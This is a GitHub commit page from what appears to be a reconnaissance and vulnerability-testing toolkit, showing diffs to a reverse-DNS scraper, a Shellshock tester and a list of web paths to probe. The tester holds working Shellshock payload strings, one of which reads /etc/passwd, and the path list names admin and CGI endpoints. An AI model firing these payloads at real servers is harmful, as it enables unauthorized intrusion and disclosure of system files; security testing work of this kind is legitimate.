Skip to content

Commit

Permalink
changed
Browse files Browse the repository at this point in the history
  • Loading branch information
xiao committed Oct 10, 2015
1 parent cc20539 commit 15c6cc4
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 2 deletions.
5 changes: 4 additions & 1 deletion gather.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,13 +87,16 @@ def queryRDNS_old(domain):
def queryRDNS(domain):
hostInfos = socket.gethostbyname_ex(domain) #r = (hostname, aliaslist, ipaddrlist)
for ipaddr in hostInfos[2]:

print '[IP Address: ' + ipaddr + ']'
# TODO: 加入翻页代码
try:
response = urllib2.urlopen('http://dns.aizhan.com/%s/' % (ipaddr))
text = response.read()
tree = etree.HTML(text)
nodes = tree.xpath(r"//td[@class='dns-links']/a/@href")
for node in nodes:
print node
print node, getTitle(node)
except Exception, e:
print e

Expand Down
2 changes: 1 addition & 1 deletion tester/shock.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@

EXPLOIT1 = '() { :;};a=`/bin/cat /etc/passwd`;echo $a'
SLEEP_TIME = 7
EXPLOIT2 = '() { :;}; /bin/sleep %s' % SLEEP_TIME
EXPLOIT2 = '() { :;}; /bin/sleep %d' % SLEEP_TIME

#env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
#无漏洞的输出:
Expand Down
1 change: 1 addition & 0 deletions uris.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
/uc_server/control/admin/db.php
/source/plugin/myrepeats/table/table_myrepeats.php
/install/include/install_lang.php
/cgi-bin/test-cgi

0 comments on commit 15c6cc4

Please sign in to comment.